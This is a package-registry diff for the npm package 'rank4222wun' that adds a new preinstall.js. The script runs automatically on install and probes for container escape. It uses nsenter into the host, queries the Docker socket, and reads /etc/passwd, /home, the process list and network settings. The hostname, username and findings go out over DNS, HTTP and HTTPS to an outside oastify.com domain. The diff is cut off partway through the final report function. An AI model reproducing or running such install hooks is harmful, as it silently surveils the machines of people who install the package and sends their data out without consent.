rank4222wun 1.0.32 → 1.0.34
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +616 -23
- package/rank4222wun-1.0.34.tgz +0 -0
- package/rank4222wun-1.0.32.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,36 +1,629 @@
|
|
|
1
|
-
|
|
1
|
+
// container-escape-confirmation-with-oast.js
|
|
2
|
+
const { exec, spawn } = require('child_process');
|
|
2
3
|
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
3
6
|
const https = require('https');
|
|
7
|
+
const dns = require('dns');
|
|
4
8
|
|
|
5
|
-
|
|
6
|
-
|
|
9
|
+
console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL WITH OAST\n");
|
|
10
|
+
console.log("📍 OAST Domain: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com\n");
|
|
7
11
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
12
|
+
// إعدادات OAST الخاصة بك
|
|
13
|
+
const OAST_CONFIG = {
|
|
14
|
+
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
15
|
+
httpsPort: 443,
|
|
16
|
+
httpPort: 80,
|
|
17
|
+
dnsSubdomain: 'escape-confirmation'
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
const evidenceLog = {
|
|
21
|
+
timestamp: new Date().toISOString(),
|
|
22
|
+
sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
23
|
+
oastDomain: OAST_CONFIG.domain,
|
|
24
|
+
|
|
25
|
+
// حالة النظام
|
|
26
|
+
systemInfo: {
|
|
27
|
+
currentHostname: os.hostname(),
|
|
28
|
+
currentUser: os.userInfo().username,
|
|
29
|
+
platform: os.platform(),
|
|
30
|
+
isContainer: null,
|
|
31
|
+
containerType: null,
|
|
32
|
+
containerId: null
|
|
33
|
+
},
|
|
34
|
+
|
|
35
|
+
// نتائج فحص الهروب
|
|
36
|
+
escapeChecks: {
|
|
37
|
+
nsenter: { found: false, accessible: false, evidence: null },
|
|
38
|
+
dockerSocket: { found: false, writable: false, containers: [] },
|
|
39
|
+
hostMounts: { found: false, mounts: [], hostAccess: false },
|
|
40
|
+
procAccess: { accessible: false, hostPid: null },
|
|
41
|
+
kernel: { version: null, vulnerable: false, exploits: [] },
|
|
42
|
+
capabilities: { dangerous: [], hasSysAdmin: false }
|
|
43
|
+
},
|
|
44
|
+
|
|
45
|
+
// أدلة قاطعة على الهروب
|
|
46
|
+
definitiveEvidence: {
|
|
47
|
+
differentHostnameConfirmed: false,
|
|
48
|
+
hostFilesAccess: false,
|
|
49
|
+
hostUsersReadable: false,
|
|
50
|
+
hostNetworkVisible: false,
|
|
51
|
+
hostProcessesVisible: false
|
|
52
|
+
},
|
|
53
|
+
|
|
54
|
+
// نتائج OAST
|
|
55
|
+
oastResults: {
|
|
56
|
+
dnsCalled: false,
|
|
57
|
+
httpCalled: false,
|
|
58
|
+
httpsCalled: false,
|
|
59
|
+
interactions: []
|
|
60
|
+
},
|
|
61
|
+
|
|
62
|
+
// النتيجة النهائية
|
|
63
|
+
finalVerdict: {
|
|
64
|
+
escapedToHost: false,
|
|
65
|
+
confidence: 0,
|
|
66
|
+
riskLevel: 'UNKNOWN',
|
|
67
|
+
escapeMethods: [],
|
|
68
|
+
proofPoints: []
|
|
69
|
+
}
|
|
70
|
+
};
|
|
15
71
|
|
|
16
|
-
|
|
72
|
+
// ===================== OAST Interaction Functions =====================
|
|
73
|
+
function sendOASTInteraction(type, data) {
|
|
74
|
+
const interactionId = `interaction-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
|
75
|
+
const interaction = {
|
|
76
|
+
id: interactionId,
|
|
77
|
+
type: type,
|
|
78
|
+
timestamp: new Date().toISOString(),
|
|
79
|
+
data: data
|
|
80
|
+
};
|
|
81
|
+
|
|
82
|
+
evidenceLog.oastResults.interactions.push(interaction);
|
|
83
|
+
|
|
84
|
+
switch(type) {
|
|
85
|
+
case 'DNS':
|
|
86
|
+
// إرسال DNS request
|
|
87
|
+
const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
|
|
88
|
+
dns.lookup(dnsHostname, (err, address) => {
|
|
89
|
+
if (!err) {
|
|
90
|
+
evidenceLog.oastResults.dnsCalled = true;
|
|
91
|
+
console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
|
|
92
|
+
}
|
|
93
|
+
});
|
|
94
|
+
break;
|
|
95
|
+
|
|
96
|
+
case 'HTTP':
|
|
97
|
+
// إرسال HTTP request
|
|
98
|
+
const httpReq = require('http').request({
|
|
99
|
+
hostname: OAST_CONFIG.domain,
|
|
100
|
+
port: OAST_CONFIG.httpPort,
|
|
101
|
+
path: `/${interactionId}`,
|
|
102
|
+
method: 'GET',
|
|
103
|
+
headers: {
|
|
104
|
+
'User-Agent': 'ContainerEscapeConfirm/1.0',
|
|
105
|
+
'X-Session-ID': evidenceLog.sessionId,
|
|
106
|
+
'X-Check-Type': data.checkType || 'unknown'
|
|
107
|
+
}
|
|
108
|
+
}, (res) => {
|
|
109
|
+
let body = '';
|
|
110
|
+
res.on('data', chunk => body += chunk);
|
|
111
|
+
res.on('end', () => {
|
|
112
|
+
evidenceLog.oastResults.httpCalled = true;
|
|
113
|
+
console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
|
|
114
|
+
});
|
|
115
|
+
});
|
|
116
|
+
|
|
117
|
+
httpReq.on('error', () => {});
|
|
118
|
+
httpReq.write(JSON.stringify(data));
|
|
119
|
+
httpReq.end();
|
|
120
|
+
break;
|
|
121
|
+
|
|
122
|
+
case 'HTTPS':
|
|
123
|
+
// إرسال HTTPS request (الأهم)
|
|
124
|
+
const httpsReq = https.request({
|
|
125
|
+
hostname: OAST_CONFIG.domain,
|
|
126
|
+
port: OAST_CONFIG.httpsPort,
|
|
127
|
+
path: `/container-escape-evidence`,
|
|
128
|
+
method: 'POST',
|
|
129
|
+
headers: {
|
|
130
|
+
'Content-Type': 'application/json',
|
|
131
|
+
'User-Agent': 'ContainerEscapeDetector/1.0',
|
|
132
|
+
'X-Session-ID': evidenceLog.sessionId,
|
|
133
|
+
'X-Hostname': os.hostname(),
|
|
134
|
+
'X-Check-Point': data.checkPoint || 'initial'
|
|
135
|
+
}
|
|
136
|
+
}, (res) => {
|
|
137
|
+
let responseBody = '';
|
|
138
|
+
res.on('data', chunk => responseBody += chunk);
|
|
139
|
+
res.on('end', () => {
|
|
140
|
+
evidenceLog.oastResults.httpsCalled = true;
|
|
141
|
+
console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
|
|
142
|
+
|
|
143
|
+
// تخزين رد السيرفر إذا أرسل بيانات
|
|
144
|
+
if (responseBody) {
|
|
145
|
+
try {
|
|
146
|
+
const serverResponse = JSON.parse(responseBody);
|
|
147
|
+
interaction.serverResponse = serverResponse;
|
|
148
|
+
} catch (e) {}
|
|
149
|
+
}
|
|
150
|
+
});
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
httpsReq.on('error', (e) => {
|
|
154
|
+
console.log(`⚠️ OAST HTTPS error (may be expected): ${e.message}`);
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
httpsReq.write(JSON.stringify({
|
|
158
|
+
sessionId: evidenceLog.sessionId,
|
|
159
|
+
timestamp: new Date().toISOString(),
|
|
160
|
+
checkPoint: data.checkPoint,
|
|
161
|
+
evidence: data.evidence,
|
|
162
|
+
systemInfo: evidenceLog.systemInfo
|
|
163
|
+
}));
|
|
164
|
+
|
|
165
|
+
httpsReq.end();
|
|
166
|
+
break;
|
|
167
|
+
}
|
|
17
168
|
}
|
|
18
169
|
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
170
|
+
// ===================== Phase 1: Basic Container Detection =====================
|
|
171
|
+
function detectContainerEnvironment() {
|
|
172
|
+
console.log("🔍 المرحلة 1: اكتشاف بيئة الحاوية...\n");
|
|
173
|
+
|
|
174
|
+
const checks = [
|
|
175
|
+
{
|
|
176
|
+
name: 'cgroup_check',
|
|
177
|
+
command: 'cat /proc/1/cgroup 2>/dev/null | head -5',
|
|
178
|
+
handler: (output) => {
|
|
179
|
+
if (output) {
|
|
180
|
+
if (output.includes('docker')) {
|
|
181
|
+
evidenceLog.systemInfo.isContainer = true;
|
|
182
|
+
evidenceLog.systemInfo.containerType = 'Docker';
|
|
183
|
+
// استخراج Container ID
|
|
184
|
+
const match = output.match(/docker\/([a-f0-9]{64})/);
|
|
185
|
+
if (match) {
|
|
186
|
+
evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
|
|
187
|
+
}
|
|
188
|
+
console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
|
|
189
|
+
} else if (output.includes('kubepods')) {
|
|
190
|
+
evidenceLog.systemInfo.isContainer = true;
|
|
191
|
+
evidenceLog.systemInfo.containerType = 'Kubernetes';
|
|
192
|
+
console.log("✅ في حاوية Kubernetes");
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
},
|
|
197
|
+
{
|
|
198
|
+
name: 'rootfs_check',
|
|
199
|
+
command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
|
|
200
|
+
handler: (output) => {
|
|
201
|
+
if (!output.includes('NOT_OVERLAY')) {
|
|
202
|
+
evidenceLog.systemInfo.isContainer = true;
|
|
203
|
+
console.log("✅ نظام ملفات overlay (حاوية)");
|
|
204
|
+
}
|
|
205
|
+
}
|
|
206
|
+
},
|
|
207
|
+
{
|
|
208
|
+
name: 'container_runtime',
|
|
209
|
+
command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
|
|
210
|
+
handler: (output) => {
|
|
211
|
+
if (!output.includes('NO_RUNTIME')) {
|
|
212
|
+
console.log(`✅ Container runtime موجود: ${output.trim()}`);
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
}
|
|
216
|
+
];
|
|
217
|
+
|
|
218
|
+
let completed = 0;
|
|
219
|
+
checks.forEach(check => {
|
|
220
|
+
exec(check.command, { timeout: 3000 }, (err, stdout) => {
|
|
221
|
+
if (!err && stdout) check.handler(stdout);
|
|
222
|
+
completed++;
|
|
223
|
+
if (completed === checks.length) {
|
|
224
|
+
// إرسال DNS check إلى OAST
|
|
225
|
+
sendOASTInteraction('DNS', {
|
|
226
|
+
checkType: 'container_detection',
|
|
227
|
+
result: evidenceLog.systemInfo
|
|
228
|
+
});
|
|
229
|
+
|
|
230
|
+
setTimeout(performEscapeVerification, 2000);
|
|
231
|
+
}
|
|
22
232
|
});
|
|
233
|
+
});
|
|
23
234
|
}
|
|
24
235
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
236
|
+
// ===================== Phase 2: Escape Verification =====================
|
|
237
|
+
function performEscapeVerification() {
|
|
238
|
+
console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
|
|
239
|
+
|
|
240
|
+
// إرسال HTTP ping إلى OAST
|
|
241
|
+
sendOASTInteraction('HTTP', {
|
|
242
|
+
checkPoint: 'escape_verification_start',
|
|
243
|
+
currentHostname: evidenceLog.systemInfo.currentHostname
|
|
244
|
+
});
|
|
245
|
+
|
|
246
|
+
const verificationTests = [
|
|
247
|
+
// Test 1: nsenter access
|
|
248
|
+
{
|
|
249
|
+
name: 'nsenter_test',
|
|
250
|
+
commands: [
|
|
251
|
+
'which nsenter 2>/dev/null || echo "NOT_FOUND"',
|
|
252
|
+
'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
|
|
253
|
+
],
|
|
254
|
+
handler: (results) => {
|
|
255
|
+
const [nsenterPath, nsenterOutput] = results;
|
|
256
|
+
|
|
257
|
+
evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
|
|
258
|
+
|
|
259
|
+
if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
|
|
260
|
+
evidenceLog.escapeChecks.nsenter.accessible = true;
|
|
261
|
+
|
|
262
|
+
// تحليل النتيجة
|
|
263
|
+
const lines = nsenterOutput.split('\n');
|
|
264
|
+
let hostHostname = '';
|
|
265
|
+
let containerHostname = '';
|
|
266
|
+
|
|
267
|
+
lines.forEach(line => {
|
|
268
|
+
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
269
|
+
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
270
|
+
}
|
|
271
|
+
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
272
|
+
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
273
|
+
}
|
|
274
|
+
});
|
|
275
|
+
|
|
276
|
+
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
277
|
+
evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
|
|
278
|
+
evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
|
|
279
|
+
console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
|
|
280
|
+
|
|
281
|
+
// إرسال أدلة قوية إلى OAST
|
|
282
|
+
sendOASTInteraction('HTTPS', {
|
|
283
|
+
checkPoint: 'nsenter_escape_confirmed',
|
|
284
|
+
evidence: {
|
|
285
|
+
hostHostname: hostHostname,
|
|
286
|
+
containerHostname: containerHostname,
|
|
287
|
+
method: 'nsenter'
|
|
288
|
+
}
|
|
289
|
+
});
|
|
290
|
+
}
|
|
291
|
+
}
|
|
292
|
+
}
|
|
293
|
+
},
|
|
294
|
+
|
|
295
|
+
// Test 2: Docker socket access
|
|
296
|
+
{
|
|
297
|
+
name: 'docker_socket_test',
|
|
298
|
+
commands: [
|
|
299
|
+
'ls -la /var/run/docker.sock 2>/dev/null | head -1 || echo "NOT_FOUND"',
|
|
300
|
+
'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -o \'"ID":"[^"]*"\' | head -1 || echo "NO_ACCESS"'
|
|
301
|
+
],
|
|
302
|
+
handler: (results) => {
|
|
303
|
+
const [socketInfo, dockerInfo] = results;
|
|
304
|
+
|
|
305
|
+
evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
|
|
306
|
+
evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
|
|
307
|
+
|
|
308
|
+
if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
|
|
309
|
+
evidenceLog.escapeChecks.dockerSocket.accessible = true;
|
|
310
|
+
console.log("✅ Docker socket accessible from container!");
|
|
311
|
+
|
|
312
|
+
// محاولة سرد الحاويات الأخرى
|
|
313
|
+
exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"',
|
|
314
|
+
(err, stdout) => {
|
|
315
|
+
if (!err && stdout && !isNaN(parseInt(stdout))) {
|
|
316
|
+
const containerCount = parseInt(stdout);
|
|
317
|
+
if (containerCount > 1) {
|
|
318
|
+
evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
|
|
319
|
+
console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
|
|
320
|
+
|
|
321
|
+
sendOASTInteraction('HTTPS', {
|
|
322
|
+
checkPoint: 'docker_socket_access',
|
|
323
|
+
evidence: {
|
|
324
|
+
socketAccessible: true,
|
|
325
|
+
containerCount: containerCount,
|
|
326
|
+
method: 'docker_socket'
|
|
327
|
+
}
|
|
328
|
+
});
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
});
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
},
|
|
335
|
+
|
|
336
|
+
// Test 3: Host filesystem access
|
|
337
|
+
{
|
|
338
|
+
name: 'host_files_test',
|
|
339
|
+
commands: [
|
|
340
|
+
'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
|
|
341
|
+
'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
342
|
+
'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
|
|
343
|
+
],
|
|
344
|
+
handler: (results) => {
|
|
345
|
+
const [mountInfo, homeAccess, passwdAccess] = results;
|
|
346
|
+
|
|
347
|
+
if (!homeAccess.includes('NO_ACCESS')) {
|
|
348
|
+
evidenceLog.definitiveEvidence.hostFilesAccess = true;
|
|
349
|
+
console.log("🎯 DETECTED: Can access /home directory of host!");
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
if (!passwdAccess.includes('NO_ACCESS')) {
|
|
353
|
+
evidenceLog.definitiveEvidence.hostUsersReadable = true;
|
|
354
|
+
console.log("🎯 DETECTED: Can read /etc/passwd of host!");
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
358
|
+
sendOASTInteraction('HTTPS', {
|
|
359
|
+
checkPoint: 'host_filesystem_access',
|
|
360
|
+
evidence: {
|
|
361
|
+
homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
|
|
362
|
+
passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
|
|
363
|
+
}
|
|
364
|
+
});
|
|
365
|
+
}
|
|
366
|
+
}
|
|
367
|
+
},
|
|
368
|
+
|
|
369
|
+
// Test 4: Host processes access
|
|
370
|
+
{
|
|
371
|
+
name: 'host_processes_test',
|
|
372
|
+
commands: [
|
|
373
|
+
'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
|
|
374
|
+
'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
|
|
375
|
+
],
|
|
376
|
+
handler: (results) => {
|
|
377
|
+
const [psOutput, proc1Status] = results;
|
|
378
|
+
|
|
379
|
+
if (!psOutput.includes('NO_PS') && psOutput.split('\n').length > 5) {
|
|
380
|
+
evidenceLog.definitiveEvidence.hostProcessesVisible = true;
|
|
381
|
+
console.log("✅ Can see host processes");
|
|
382
|
+
}
|
|
383
|
+
|
|
384
|
+
if (!proc1Status.includes('NO_ACCESS')) {
|
|
385
|
+
evidenceLog.escapeChecks.procAccess.accessible = true;
|
|
386
|
+
evidenceLog.escapeChecks.procAccess.hostPid = '1';
|
|
387
|
+
console.log("🎯 DETECTED: Can access host init process (PID 1)!");
|
|
388
|
+
}
|
|
389
|
+
}
|
|
390
|
+
},
|
|
391
|
+
|
|
392
|
+
// Test 5: Network visibility
|
|
393
|
+
{
|
|
394
|
+
name: 'network_test',
|
|
395
|
+
commands: [
|
|
396
|
+
'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
|
|
397
|
+
'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
|
|
398
|
+
],
|
|
399
|
+
handler: (results) => {
|
|
400
|
+
const [routeOutput, ipOutput] = results;
|
|
401
|
+
|
|
402
|
+
if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
|
|
403
|
+
evidenceLog.definitiveEvidence.hostNetworkVisible = true;
|
|
404
|
+
console.log("✅ Can see host network configuration");
|
|
405
|
+
}
|
|
406
|
+
}
|
|
407
|
+
}
|
|
408
|
+
];
|
|
409
|
+
|
|
410
|
+
let testsCompleted = 0;
|
|
411
|
+
const testResults = {};
|
|
412
|
+
|
|
413
|
+
verificationTests.forEach(test => {
|
|
414
|
+
testResults[test.name] = [];
|
|
415
|
+
let commandsCompleted = 0;
|
|
416
|
+
|
|
417
|
+
test.commands.forEach((cmd, idx) => {
|
|
418
|
+
exec(cmd, { timeout: 5000 }, (err, stdout) => {
|
|
419
|
+
testResults[test.name][idx] = stdout || '';
|
|
420
|
+
commandsCompleted++;
|
|
421
|
+
|
|
422
|
+
if (commandsCompleted === test.commands.length) {
|
|
423
|
+
test.handler(testResults[test.name]);
|
|
424
|
+
testsCompleted++;
|
|
425
|
+
|
|
426
|
+
if (testsCompleted === verificationTests.length) {
|
|
427
|
+
setTimeout(analyzeEvidence, 3000);
|
|
428
|
+
}
|
|
429
|
+
}
|
|
430
|
+
});
|
|
31
431
|
});
|
|
32
|
-
|
|
33
|
-
|
|
432
|
+
});
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
// ===================== Phase 3: Evidence Analysis =====================
|
|
436
|
+
function analyzeEvidence() {
|
|
437
|
+
console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
|
|
438
|
+
|
|
439
|
+
let confidenceScore = 0;
|
|
440
|
+
const maxScore = 100;
|
|
441
|
+
const escapeMethods = [];
|
|
442
|
+
const proofPoints = [];
|
|
443
|
+
|
|
444
|
+
// 1. أدلة قاطعة (25 نقطة لكل)
|
|
445
|
+
if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
|
|
446
|
+
confidenceScore += 25;
|
|
447
|
+
proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
|
|
448
|
+
}
|
|
449
|
+
|
|
450
|
+
if (evidenceLog.definitiveEvidence.hostFilesAccess) {
|
|
451
|
+
confidenceScore += 25;
|
|
452
|
+
proofPoints.push("الوصول لملفات /home في المضيف");
|
|
453
|
+
}
|
|
454
|
+
|
|
455
|
+
if (evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
456
|
+
confidenceScore += 20;
|
|
457
|
+
proofPoints.push("قراءة /etc/passwd للمضيف");
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
// 2. أدلة قوية (15 نقطة لكل)
|
|
461
|
+
if (evidenceLog.escapeChecks.nsenter.accessible) {
|
|
462
|
+
confidenceScore += 15;
|
|
463
|
+
escapeMethods.push("nsenter");
|
|
464
|
+
}
|
|
465
|
+
|
|
466
|
+
if (evidenceLog.escapeChecks.dockerSocket.accessible) {
|
|
467
|
+
confidenceScore += 15;
|
|
468
|
+
escapeMethods.push("docker_socket");
|
|
469
|
+
}
|
|
470
|
+
|
|
471
|
+
if (evidenceLog.escapeChecks.procAccess.accessible) {
|
|
472
|
+
confidenceScore += 15;
|
|
473
|
+
escapeMethods.push("proc_access");
|
|
474
|
+
}
|
|
475
|
+
|
|
476
|
+
// 3. أدلة مساندة (10 نقطة لكل)
|
|
477
|
+
if (evidenceLog.definitiveEvidence.hostProcessesVisible) {
|
|
478
|
+
confidenceScore += 10;
|
|
479
|
+
}
|
|
480
|
+
|
|
481
|
+
if (evidenceLog.definitiveEvidence.hostNetworkVisible) {
|
|
482
|
+
confidenceScore += 10;
|
|
483
|
+
}
|
|
484
|
+
|
|
485
|
+
// تحديد نتيجة الهروب
|
|
486
|
+
evidenceLog.finalVerdict.confidence = Math.min(100, confidenceScore);
|
|
487
|
+
evidenceLog.finalVerdict.escapeMethods = escapeMethods;
|
|
488
|
+
evidenceLog.finalVerdict.proofPoints = proofPoints;
|
|
489
|
+
|
|
490
|
+
if (evidenceLog.finalVerdict.confidence >= 60) {
|
|
491
|
+
evidenceLog.finalVerdict.escapedToHost = true;
|
|
492
|
+
evidenceLog.finalVerdict.riskLevel = evidenceLog.finalVerdict.confidence >= 80 ? 'CRITICAL' : 'HIGH';
|
|
493
|
+
} else if (evidenceLog.finalVerdict.confidence >= 30) {
|
|
494
|
+
evidenceLog.finalVerdict.escapedToHost = 'POSSIBLE';
|
|
495
|
+
evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
|
|
496
|
+
} else {
|
|
497
|
+
evidenceLog.finalVerdict.escapedToHost = false;
|
|
498
|
+
evidenceLog.finalVerdict.riskLevel = 'LOW';
|
|
499
|
+
}
|
|
500
|
+
|
|
501
|
+
// إرسال النتيجة النهائية إلى OAST
|
|
502
|
+
sendOASTInteraction('HTTPS', {
|
|
503
|
+
checkPoint: 'final_verdict',
|
|
504
|
+
evidence: {
|
|
505
|
+
escapedToHost: evidenceLog.finalVerdict.escapedToHost,
|
|
506
|
+
confidence: evidenceLog.finalVerdict.confidence,
|
|
507
|
+
escapeMethods: escapeMethods,
|
|
508
|
+
proofPoints: proofPoints
|
|
509
|
+
}
|
|
510
|
+
});
|
|
511
|
+
|
|
512
|
+
generateFinalReport();
|
|
34
513
|
}
|
|
35
514
|
|
|
36
|
-
|
|
515
|
+
// ===================== Phase 4: Final Report =====================
|
|
516
|
+
function generateFinalReport() {
|
|
517
|
+
console.log("\n" + "=".repeat(80));
|
|
518
|
+
console.log("📊 تقرير تأكيد هروب الحاوية - مع OAST");
|
|
519
|
+
console.log("=".repeat(80));
|
|
520
|
+
|
|
521
|
+
console.log(`\n📍 OAST Domain: ${OAST_CONFIG.domain}`);
|
|
522
|
+
console.log(`🎯 Session ID: ${evidenceLog.sessionId}`);
|
|
523
|
+
console.log(`⏰ وقت التحقق: ${new Date(evidenceLog.timestamp).toLocaleString()}`);
|
|
524
|
+
|
|
525
|
+
console.log("\n🔍 معلومات النظام:");
|
|
526
|
+
console.log(` Hostname: ${evidenceLog.systemInfo.currentHostname}`);
|
|
527
|
+
console.log(` المستخدم: ${evidenceLog.systemInfo.currentUser}`);
|
|
528
|
+
console.log(` النظام: ${evidenceLog.systemInfo.platform}`);
|
|
529
|
+
console.log(` في حاوية: ${evidenceLog.systemInfo.isContainer ? 'نعم (' + evidenceLog.systemInfo.containerType + ')' : 'لا'}`);
|
|
530
|
+
if (evidenceLog.systemInfo.containerId) {
|
|
531
|
+
console.log(` Container ID: ${evidenceLog.systemInfo.containerId}`);
|
|
532
|
+
}
|
|
533
|
+
|
|
534
|
+
console.log("\n🎯 النتيجة النهائية:");
|
|
535
|
+
let verdictIcon = '❓';
|
|
536
|
+
let verdictText = '';
|
|
537
|
+
|
|
538
|
+
if (evidenceLog.finalVerdict.escapedToHost === true) {
|
|
539
|
+
verdictIcon = '🚨';
|
|
540
|
+
verdictText = 'هروب مؤكد من الحاوية إلى المضيف!';
|
|
541
|
+
} else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
|
|
542
|
+
verdictIcon = '⚠️';
|
|
543
|
+
verdictText = 'هروب محتمل من الحاوية';
|
|
544
|
+
} else {
|
|
545
|
+
verdictIcon = '✅';
|
|
546
|
+
verdictText = 'الحاوية معزولة (لم يتم تأكيد الهروب)';
|
|
547
|
+
}
|
|
548
|
+
|
|
549
|
+
console.log(` ${verdictIcon} ${verdictText}`);
|
|
550
|
+
console.log(` 📈 مستوى الثقة: ${evidenceLog.finalVerdict.confidence}%`);
|
|
551
|
+
console.log(` ⚠️ مستوى الخطورة: ${evidenceLog.finalVerdict.riskLevel}`);
|
|
552
|
+
|
|
553
|
+
if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
|
|
554
|
+
console.log(`\n🔧 طرق الهروب المكتشفة:`);
|
|
555
|
+
evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
|
|
556
|
+
console.log(` ${i + 1}. ${method}`);
|
|
557
|
+
});
|
|
558
|
+
}
|
|
559
|
+
|
|
560
|
+
if (evidenceLog.finalVerdict.proofPoints.length > 0) {
|
|
561
|
+
console.log(`\n🎯 أدلة قاطعة:`);
|
|
562
|
+
evidenceLog.finalVerdict.proofPoints.forEach((proof, i) => {
|
|
563
|
+
console.log(` ${i + 1}. ${proof}`);
|
|
564
|
+
});
|
|
565
|
+
}
|
|
566
|
+
|
|
567
|
+
console.log("\n📡 نتائج OAST:");
|
|
568
|
+
console.log(` DNS Requests: ${evidenceLog.oastResults.dnsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
569
|
+
console.log(` HTTP Requests: ${evidenceLog.oastResults.httpCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
570
|
+
console.log(` HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
571
|
+
console.log(` Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
|
|
572
|
+
|
|
573
|
+
if (evidenceLog.oastResults.interactions.length > 0) {
|
|
574
|
+
console.log(` Last Interaction: ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].type} at ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].timestamp}`);
|
|
575
|
+
}
|
|
576
|
+
|
|
577
|
+
// حفظ التقرير محلياً
|
|
578
|
+
const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
|
|
579
|
+
fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
|
|
580
|
+
|
|
581
|
+
console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
|
|
582
|
+
|
|
583
|
+
// تعليمات التحقق من OAST
|
|
584
|
+
console.log("\n" + "=".repeat(80));
|
|
585
|
+
console.log("🔍 كيفية التحقق من النتائج في OAST:");
|
|
586
|
+
console.log("=".repeat(80));
|
|
587
|
+
console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
|
|
588
|
+
console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
|
|
589
|
+
console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
|
|
590
|
+
console.log("4. ستجد التفاعلات التالية:");
|
|
591
|
+
